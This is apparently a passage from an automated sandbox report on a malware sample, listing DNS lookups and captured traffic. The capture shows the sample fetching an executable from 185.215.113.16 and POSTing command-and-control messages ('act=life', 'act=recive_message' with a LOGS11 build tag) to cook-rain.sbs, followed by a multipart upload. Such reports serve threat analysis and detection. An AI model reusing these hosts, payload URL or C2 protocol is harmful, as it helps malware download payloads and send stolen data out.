Nov 20, 2024 03:21:05.506851912 CET	1.1.1.1	192.168.2.8	0xf715	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:05.531183004 CET	1.1.1.1	192.168.2.8	0x841b	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:05.531183004 CET	1.1.1.1	192.168.2.8	0x841b	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:05.531183004 CET	1.1.1.1	192.168.2.8	0x841b	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:05.531183004 CET	1.1.1.1	192.168.2.8	0x841b	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 03:21:05.531380892 CET	1.1.1.1	192.168.2.8	0x4fbf	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:05.531380892 CET	1.1.1.1	192.168.2.8	0x4fbf	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:11.593744993 CET	1.1.1.1	192.168.2.8	0x43cc	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:11.641293049 CET	1.1.1.1	192.168.2.8	0xf49b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:15.046375990 CET	1.1.1.1	192.168.2.8	0xd4f4	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:15.046735048 CET	1.1.1.1	192.168.2.8	0xb812	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:22:02.011097908 CET	1.1.1.1	192.168.2.8	0xb087	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:22:02.011154890 CET	1.1.1.1	192.168.2.8	0x5aea	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

cook-rain.sbs

slscr.update.microsoft.com

https:

wcpstatic.microsoft.com

js.monitor.azure.com

fs.microsoft.com

otelrules.azureedge.net

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49715	185.215.113.16	80	6148	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 03:20:48.642071009 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 20, 2024 03:20:49.351457119 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 02:20:49 GMT Content-Type: application/octet-stream Content-Length: 2847744 Last-Modified: Wed, 20 Nov 2024 02:17:05 GMT Connection: keep-alive ETag: "673d46a1-2b7400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 1f 25 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,%,`Ui` @ @.rsrc`2@.idata 8@jwaseymg ++:@reksrrmv +N+@.taggant@+"R+@
Nov 20, 2024 03:20:49.351490974 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 03:20:49.352124929 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 03:20:49.352158070 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 03:20:49.352191925 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 03:20:49.352224112 CET	24	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 03:20:49.352422953 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 03:20:49.352452993 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 03:20:49.352485895 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 03:20:49.352516890 CET	24	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 03:20:49.356616020 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	188.114.96.3	443	6148	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:20:35 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-20 02:20:35 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-20 02:20:36 UTC	986	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:20:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3u8shj27jh0qqb1ii6j6c335hu; expires=Sat, 15-Mar-2025 20:07:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=37LJqswPPzKbQoEF%2Bs0QsQ101CFYJRPFxPDW4cW%2BX3Rsuxy1bbu8D0B2YYsi2YEBBAl8IT5ZJlU5IaIW%2B0Lki3sCWUQcbGOInk%2Fu7OyCUUKOM6RV%2FQD5msn%2FQkhMGVz8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e54f6344d4443b5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=1724748&cwnd=225&unsent_bytes=0&cid=ef90ca4409be9d30&ts=464&x=0"
2024-11-20 02:20:36 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-20 02:20:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49708	188.114.96.3	443	6148	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:20:36 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-20 02:20:36 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-20 02:20:37 UTC	988	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:20:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9a91p8v8rg3dksb6o890f2fc2p; expires=Sat, 15-Mar-2025 20:07:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SxwZf3rpwCDvdLX7q%2BcNSLU4%2BzL06rmJNyimnXtSdtiuHtSRgYm8hVI%2F3vlWnyFTcP%2Frcp2TS3tuIY6kuKUUma8DdjpT6U%2F4VTMpCheBxWA%2FDV5xIUIX98Au3%2Bh6P15f"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e54f63c6b5d5e61-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1586&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=950&delivery_rate=1772920&cwnd=221&unsent_bytes=0&cid=7782cf5d224a39de&ts=600&x=0"
2024-11-20 02:20:37 UTC	381	IN	Data Raw: 63 63 61 0d 0a 56 64 32 38 43 2b 57 69 66 44 6e 57 43 5a 45 36 30 6e 43 65 74 41 59 4b 78 6f 5a 76 37 45 61 52 31 48 30 37 6c 77 54 2b 54 6e 55 75 2f 38 6f 70 33 35 5a 51 47 36 56 73 73 77 43 6d 41 75 76 52 4b 69 69 6e 34 6b 33 57 49 50 43 34 44 6c 36 37 4a 6f 67 6a 56 32 2b 37 33 57 65 57 78 31 41 62 73 33 47 7a 41 49 6b 4c 76 4e 46 6f 4b 50 79 6b 43 6f 59 6b 38 4c 67 66 57 76 78 72 6a 69 49 57 50 62 48 62 59 34 44 42 47 46 69 36 5a 50 52 66 74 78 48 30 32 6d 39 6e 72 75 74 4e 77 47 54 30 72 6c 38 42 74 55 6d 62 4f 68 51 59 76 4d 39 67 78 39 39 51 51 76 52 73 2f 78 6a 6f 55 76 2f 52 5a 47 61 67 34 67 53 45 4c 76 6d 77 48 6c 2f 39 64 4a 63 6f 48 54 32 2f 32 47 4b 4b 79 41 78 56 73 47 50 2f 57 62 30 52 76 4a 67 6b 62 37 79 6b 56 63 35 33 77 62 55 4f 53 4f Data Ascii: ccaVd28C+WifDnWCZE60nCetAYKxoZv7EaR1H07lwT+TnUu/8op35ZQG6VsswCmAuvRKiin4k3WIPC4Dl67JogjV2+73WeWx1Abs3GzAIkLvNFoKPykCoYk8LgfWvxrjiIWPbHbY4DBGFi6ZPRftxH02m9nrutNwGT0rl8BtUmbOhQYvM9gx99QQvRs/xjoUv/RZGag4gSELvmwHl/9dJcoHT2/2GKKyAxVsGP/Wb0RvJgkb7ykVc53wbUOSO
2024-11-20 02:20:37 UTC	1369	IN	Data Raw: 56 76 39 69 6b 53 45 52 4e 37 2b 65 4a 38 66 48 42 68 76 73 4b 39 42 64 6f 42 58 77 77 43 5a 53 35 50 74 44 6c 32 54 30 75 6c 38 42 74 57 36 5a 4c 78 51 38 73 4e 31 68 6a 4e 49 65 53 62 4a 6d 39 6b 71 32 46 2f 4c 63 5a 33 71 75 36 67 75 4e 4c 66 69 2f 47 6c 37 78 4a 74 4a 73 45 43 2f 2f 68 69 6d 6d 7a 52 56 58 76 6e 7a 7a 47 4b 39 63 35 5a 5a 6a 5a 4f 53 38 54 59 6f 6c 39 37 63 62 56 2f 74 69 6b 43 6f 5a 4f 72 44 59 59 34 66 48 46 46 4f 38 61 76 35 54 76 78 4c 35 32 32 42 75 71 4f 55 49 7a 6d 71 7a 73 51 63 5a 72 53 61 79 4b 78 51 6c 2f 65 74 71 69 63 34 5a 54 66 52 30 76 55 48 77 46 66 43 57 50 43 69 71 34 51 4b 63 4a 65 47 7a 45 55 76 35 59 35 6f 68 46 44 6d 2f 32 32 36 4b 7a 68 68 63 74 32 50 33 57 62 34 65 39 74 56 67 61 2b 53 71 54 59 6b 38 73 2b 35 Data Ascii: Vv9ikSERN7+eJ8fHBhvsK9BdoBXwwCZS5PtDl2T0ul8BtW6ZLxQ8sN1hjNIeSbJm9kq2F/LcZ3qu6guNLfi/Gl7xJtJsEC//himmzRVXvnzzGK9c5ZZjZOS8TYol97cbV/tikCoZOrDYY4fHFFO8av5TvxL522BuqOUIzmqzsQcZrSayKxQl/etqic4ZTfR0vUHwFfCWPCiq4QKcJeGzEUv5Y5ohFDm/226Kzhhct2P3Wb4e9tVga+SqTYk8s+5
2024-11-20 02:20:37 UTC	1369	IN	Data Raw: 5a 73 76 47 6a 43 31 30 47 36 44 7a 42 64 57 73 6d 76 30 58 4c 55 41 2b 64 39 6f 5a 4f 53 71 54 59 6b 38 73 2b 35 66 64 76 4a 77 6e 77 4d 55 4a 72 61 65 64 73 6e 5a 58 6c 79 34 4b 36 73 59 74 78 66 30 33 57 4a 67 70 50 59 49 67 43 2f 79 76 42 6c 59 2b 47 71 61 4c 42 59 33 75 64 4a 70 67 4d 63 4d 53 62 46 74 34 56 4c 77 58 4c 7a 52 66 43 6a 38 70 44 75 65 4d 2b 4b 67 58 57 7a 32 61 4a 49 72 41 58 65 67 6b 48 44 48 78 78 49 62 37 43 76 34 57 4c 77 56 39 4e 42 67 59 4b 76 72 42 4a 77 6c 2f 37 67 4e 58 76 56 76 6b 69 4d 62 50 72 4c 5a 5a 49 7a 4b 45 31 2b 7a 61 72 4d 57 38 42 58 6b 6c 6a 77 6f 6b 76 51 41 67 67 72 34 75 68 59 5a 36 69 69 46 62 42 41 37 2f 34 59 70 67 38 77 57 55 62 74 69 2b 56 4b 2f 47 2f 7a 65 62 57 47 6e 35 41 47 49 4a 66 2b 36 45 6c 7a 32 Data Ascii: ZsvGjC10G6DzBdWsmv0XLUA+d9oZOSqTYk8s+5fdvJwnwMUJraedsnZXly4K6sYtxf03WJgpPYIgC/yvBlY+GqaLBY3udJpgMcMSbFt4VLwXLzRfCj8pDueM+KgXWz2aJIrAXegkHDHxxIb7Cv4WLwV9NBgYKvrBJwl/7gNXvVvkiMbPrLZZIzKE1+zarMW8BXkljwokvQAggr4uhYZ6iiFbBA7/4Ypg8wWUbti+VK/G/zebWGn5AGIJf+6Elz2
2024-11-20 02:20:37 UTC	162	IN	Data Raw: 63 6f 38 63 63 70 67 4d 78 65 41 2f 52 6e 38 46 53 34 48 66 72 66 61 47 4b 74 37 77 47 46 49 50 2b 2f 47 6c 2f 30 59 35 6b 74 45 7a 75 31 32 47 71 45 7a 78 46 55 76 43 75 39 47 4c 63 4b 76 49 34 6b 54 62 50 76 41 34 68 6b 37 50 67 47 47 66 4a 71 33 48 52 58 4f 37 62 59 62 34 4c 4d 48 31 32 38 62 76 74 63 73 52 54 36 31 57 74 73 6f 65 55 43 69 69 6a 39 76 42 35 59 2b 57 32 54 4a 78 4a 33 38 5a 35 75 6e 34 42 47 47 34 56 6f 35 55 2b 67 48 72 7a 4a 4b 6e 48 6b 34 77 48 4f 66 4c 0d 0a Data Ascii: co8ccpgMxeA/Rn8FS4HfrfaGKt7wGFIP+/Gl/0Y5ktEzu12GqEzxFUvCu9GLcKvI4kTbPvA4hk7PgGGfJq3HRXO7bYb4LMH128bvtcsRT61WtsoeUCiij9vB5Y+W2TJxJ38Z5un4BGG4Vo5U+gHrzJKnHk4wHOfL
2024-11-20 02:20:37 UTC	1369	IN	Data Raw: 33 37 61 32 0d 0a 4f 33 44 56 50 2f 61 4a 6b 6a 45 6a 53 77 32 57 53 42 7a 42 52 53 76 47 33 38 55 61 49 52 38 4e 68 6a 5a 71 6a 71 41 49 51 6e 2f 76 5a 52 47 66 4a 2b 33 48 52 58 47 37 6a 54 52 34 7a 4d 47 52 75 72 4a 65 6f 59 74 78 36 38 6a 69 52 6b 72 75 67 45 6a 69 33 32 76 68 52 51 38 47 65 58 4b 52 51 78 73 74 46 67 6c 63 6f 64 56 62 64 6e 2f 31 36 78 45 65 37 65 62 53 6a 71 70 41 71 57 5a 4b 76 32 50 6c 66 34 63 70 73 38 56 79 6a 78 78 79 6d 41 7a 46 34 44 39 47 6a 79 56 37 4d 54 38 64 42 74 59 4b 54 69 43 49 45 70 2f 62 45 59 57 66 68 6f 6b 79 6f 66 4f 72 50 56 5a 34 37 47 48 6c 71 2b 4b 37 30 59 74 77 71 38 6a 69 52 59 70 2b 51 4e 6c 57 54 73 2b 41 59 5a 38 6d 72 63 64 46 63 6c 74 64 64 70 68 4d 38 5a 58 37 39 6e 39 6c 32 2f 45 66 58 54 62 57 61 Data Ascii: 37a2O3DVP/aJkjEjSw2WSBzBRSvG38UaIR8NhjZqjqAIQn/vZRGfJ+3HRXG7jTR4zMGRurJeoYtx68jiRkrugEji32vhRQ8GeXKRQxstFglcodVbdn/16xEe7ebSjqpAqWZKv2Plf4cps8VyjxxymAzF4D9GjyV7MT8dBtYKTiCIEp/bEYWfhokyofOrPVZ47GHlq+K70Ytwq8jiRYp+QNlWTs+AYZ8mrcdFcltddphM8ZX79n9l2/EfXTbWa
2024-11-20 02:20:37 UTC	1369	IN	Data Raw: 6d 53 72 39 68 35 56 2b 6d 57 54 4c 78 51 32 74 63 78 37 69 38 6b 57 58 72 68 67 2f 56 36 69 46 50 50 66 5a 32 75 74 34 77 57 43 4c 76 43 78 58 78 65 31 59 59 52 73 54 33 65 63 79 58 6d 4b 67 41 45 56 72 53 76 30 56 50 42 4b 76 4e 35 70 59 4b 37 67 43 6f 4d 6a 39 62 38 4e 55 50 42 6f 6e 43 67 63 4f 4c 6e 61 61 6f 66 53 47 46 2b 38 61 50 35 56 76 68 48 34 6c 69 6f 6f 6f 2f 78 4e 31 6d 54 42 75 78 46 43 2b 6d 47 4e 4a 6c 63 6f 38 63 63 70 67 4d 78 65 41 2f 52 76 2f 55 71 37 45 2f 66 64 61 6d 2b 72 34 51 65 4f 4b 2f 65 31 45 56 4c 30 5a 5a 51 68 47 6a 6d 31 31 32 43 41 7a 42 70 63 39 43 57 7a 58 36 68 53 70 4a 5a 50 53 59 6e 49 43 70 52 6b 37 50 67 47 47 66 4a 71 33 48 52 58 4f 37 62 53 59 34 7a 48 46 46 57 39 5a 66 68 4b 6f 68 48 34 31 57 31 72 6f 2b 30 44 Data Ascii: mSr9h5V+mWTLxQ2tcx7i8kWXrhg/V6iFPPfZ2ut4wWCLvCxXxe1YYRsT3ecyXmKgAEVrSv0VPBKvN5pYK7gCoMj9b8NUPBonCgcOLnaaofSGF+8aP5VvhH4liooo/xN1mTBuxFC+mGNJlco8ccpgMxeA/Rv/Uq7E/fdam+r4QeOK/e1EVL0ZZQhGjm112CAzBpc9CWzX6hSpJZPSYnICpRk7PgGGfJq3HRXO7bSY4zHFFW9ZfhKohH41W1ro+0D
2024-11-20 02:20:37 UTC	1369	IN	Data Raw: 5a 52 47 66 4a 2b 33 48 52 58 47 72 50 5a 51 49 44 62 58 6b 54 36 63 72 4e 66 76 46 4b 6b 6c 6d 56 6a 72 75 73 41 6a 53 4c 77 76 52 70 54 39 47 47 55 49 51 55 30 73 4e 46 74 68 38 38 59 58 62 56 6b 39 56 2b 35 45 2f 54 52 4a 43 62 6b 34 78 58 4f 66 4c 4f 59 47 46 72 78 4a 6f 4e 69 44 6e 65 34 30 69 6e 66 67 42 35 52 76 6d 48 39 57 4c 63 41 2b 74 39 6b 61 37 62 6e 43 34 59 69 2f 37 6f 53 55 66 78 6d 6d 53 63 61 50 4c 4c 59 61 59 7a 42 58 68 58 30 62 4f 73 59 36 46 4c 4e 32 32 70 73 71 75 63 64 69 57 54 73 2b 41 59 5a 38 6d 72 63 64 46 63 34 74 73 78 75 67 73 67 58 57 37 70 69 2b 6c 2b 30 45 66 33 53 61 47 65 74 35 77 57 50 4c 50 79 31 48 31 4c 39 62 4a 30 69 45 6e 66 78 6e 6d 36 66 67 45 59 62 6d 32 6a 32 55 37 46 51 32 39 42 6a 5a 4f 54 37 51 35 64 6b 39 Data Ascii: ZRGfJ+3HRXGrPZQIDbXkT6crNfvFKklmVjrusAjSLwvRpT9GGUIQU0sNFth88YXbVk9V+5E/TRJCbk4xXOfLOYGFrxJoNiDne40infgB5RvmH9WLcA+t9ka7bnC4Yi/7oSUfxmmScaPLLYaYzBXhX0bOsY6FLN22psqucdiWTs+AYZ8mrcdFc4tsxugsgXW7pi+l+0Ef3SaGet5wWPLPy1H1L9bJ0iEnfxnm6fgEYbm2j2U7FQ29BjZOT7Q5dk9
2024-11-20 02:20:37 UTC	1369	IN	Data Raw: 37 59 59 6f 39 57 68 43 6c 30 32 2b 51 30 56 34 56 39 47 32 7a 41 4f 42 63 76 4e 4a 31 4b 50 79 30 58 39 56 78 6f 4f 46 50 43 2b 6f 6f 68 57 77 42 64 2b 65 4d 4a 38 66 53 58 67 50 30 4c 50 42 4b 6f 68 54 2f 77 47 63 76 6d 74 6f 6a 69 53 4c 32 73 51 38 62 32 32 32 49 4b 31 64 35 2f 39 45 70 33 2f 6c 65 45 2f 52 55 76 52 69 6f 55 71 53 57 55 57 75 71 36 67 71 59 4e 62 36 59 47 46 2f 77 59 59 78 75 4f 54 79 72 32 53 6e 4a 67 42 67 62 37 44 75 39 47 4c 51 44 76 49 34 30 4f 76 2b 78 58 74 6c 30 6f 61 6c 52 51 4c 56 77 33 48 52 46 65 66 2f 4d 4b 64 2b 41 57 56 69 6d 65 66 56 62 70 68 47 37 36 46 70 72 73 75 6b 43 68 53 58 4e 69 44 46 55 39 47 57 53 62 69 59 68 73 73 35 71 67 73 63 67 5a 62 70 73 35 31 2b 2b 46 50 79 57 4b 69 69 72 70 46 57 33 5a 4c 76 32 49 42 Data Ascii: 7YYo9WhCl02+Q0V4V9G2zAOBcvNJ1KPy0X9VxoOFPC+oohWwBd+eMJ8fSXgP0LPBKohT/wGcvmtojiSL2sQ8b222IK1d5/9Ep3/leE/RUvRioUqSWUWuq6gqYNb6YGF/wYYxuOTyr2SnJgBgb7Du9GLQDvI40Ov+xXtl0oalRQLVw3HRFef/MKd+AWVimefVbphG76FprsukChSXNiDFU9GWSbiYhss5qgscgZbps51++FPyWKiirpFW3ZLv2IB
2024-11-20 02:20:37 UTC	1369	IN	Data Raw: 64 30 4a 6b 36 49 34 37 6d 49 34 48 47 36 49 72 71 77 72 2b 55 75 36 57 50 43 6a 6a 35 78 2b 63 49 76 43 67 48 42 37 4c 57 4c 73 69 45 44 61 70 7a 6d 53 4c 34 52 31 4b 76 6c 58 4e 54 62 4d 63 38 74 46 79 65 65 53 71 54 59 46 6b 71 34 39 66 45 62 56 5a 30 6d 77 50 64 2b 65 65 58 49 54 4f 45 46 79 69 65 72 35 2f 76 68 58 39 77 48 52 6c 71 4d 55 4f 6e 79 36 7a 2b 46 39 66 74 54 37 4f 59 6c 63 7a 72 70 34 78 31 35 4a 46 44 75 63 38 6f 77 71 76 58 4f 57 57 63 69 6a 38 74 6b 50 4f 4e 72 50 75 58 78 37 32 64 49 34 71 46 43 47 38 6d 56 65 35 35 51 6c 59 70 47 33 77 5a 6f 34 35 38 4e 42 6a 63 71 50 69 4b 36 35 6b 76 66 59 51 47 61 31 66 33 47 52 58 43 50 47 65 63 63 65 59 58 6d 36 33 5a 66 31 66 70 67 4f 78 38 33 4e 72 74 4f 49 4f 7a 6d 71 7a 73 46 38 42 70 53 6a Data Ascii: d0Jk6I47mI4HG6Irqwr+Uu6WPCjj5x+cIvCgHB7LWLsiEDapzmSL4R1KvlXNTbMc8tFyeeSqTYFkq49fEbVZ0mwPd+eeXITOEFyier5/vhX9wHRlqMUOny6z+F9ftT7OYlczrp4x15JFDuc8owqvXOWWcij8tkPONrPuXx72dI4qFCG8mVe55QlYpG3wZo458NBjcqPiK65kvfYQGa1f3GRXCPGecceYXm63Zf1fpgOx83NrtOIOzmqzsF8BpSj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49709	188.114.96.3	443	6148	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:20:38 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=N0W1JWC6GDFZRRAR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: cook-rain.sbs
